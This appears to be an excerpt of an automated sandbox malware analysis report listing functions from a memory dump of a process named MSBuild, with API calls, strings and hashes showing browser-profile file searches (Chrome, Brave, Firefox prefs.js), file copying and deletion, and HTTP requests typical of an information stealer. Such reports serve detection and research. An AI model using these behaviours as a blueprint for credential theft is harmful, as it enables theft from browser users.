Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Preferences, xrefs: 0040C11E
Google Chrome, xrefs: 0040C634
\Brave\Preferences, xrefs: 0040C1DB
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6BCA35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6BD2F688,00001000), ref: 6BCA35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BCA35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BCA35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BCA363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BCA369F
__aulldiv.LIBCMT ref: 6BCA36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BCA3773
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCA377E
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCA37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BCA37C4
EnterCriticalSection.KERNEL32(6BD2F688), ref: 6BCA37CB
LeaveCriticalSection.KERNEL32(6BD2F688), ref: 6BCA3801
__aulldiv.LIBCMT ref: 6BCA3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BCA3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BCA3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BCA394C

Strings

AuthcAMDenti, xrefs: 6BCA3946
GenuntelineI, xrefs: 6BCA3639
QPC, xrefs: 6BCA38FC
MOZ_TIMESTAMP_MODE, xrefs: 6BCA35DB
GTC, xrefs: 6BCA3912

Memory Dump Source

Source File: 00000002.00000002.2498333306.000000006BCA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BCA0000, based on PE: true

Associated: 00000002.00000002.2498306672.000000006BCA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498506760.000000006BD1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498614620.000000006BD2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2498654989.000000006BD32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bca0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5bcbfb90733875f91c250aab5cab38d94efbf6d97ec18a310ca2be9713d58639
Instruction ID: 5445508594a479779dd99ecdbf32986034b01dea71c1a28715fba30c198a52ac
Opcode Fuzzy Hash: 5bcbfb90733875f91c250aab5cab38d94efbf6d97ec18a310ca2be9713d58639
Instruction Fuzzy Hash: 79B1C271A193919BEB08CF38C95461AF7E5FBC9700F04892FEA99DB390E774D9048B91

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\*, xrefs: 00414920
%s\%s, xrefs: 004149A4
%s\%s, xrefs: 004149FB

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01404DA8), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,01404E08), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01404DE8,?,01406470,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 004049BD
", xrefs: 00404BF2
------, xrefs: 00404B28
", xrefs: 00404D33
------, xrefs: 00404C69

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 004016D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425104,?,00401F2C,?,004251AC,?,?,00000000,?,00000000), ref: 00401923
StrCmpCA.SHLWAPI(?,00425254), ref: 00401973
StrCmpCA.SHLWAPI(?,004252FC), ref: 00401989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D40
DeleteFileA.KERNEL32(00000000), ref: 00401DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E20
FindClose.KERNEL32(000000FF), ref: 00401E32

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Strings

\*.*, xrefs: 004017F1

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction ID: ec9ed5b7047c6bda7249a5c0e57325db5d04e86a6b28839c0a373f262e22f3db
Opcode Fuzzy Hash: 7eedb8f8a08e20fa7655d729f6189e51a3414074fea287307438966961d566d1
Instruction Fuzzy Hash: BD1270719111189BCB15FB61CD96EEE7338AF14314F4045AEB10A62091EF386FDACFA9

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000002.00000002.2472573747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2472573747.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2472573747.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
Instruction ID: 591a4703b72fe71aa373ebdc6cd180767c9b728ba7d7680c081136e576a94052
Opcode Fuzzy Hash: abec3618fe0f819f08ac4268a9e94c2cc235613d22d3d2b0289a84456f05d320
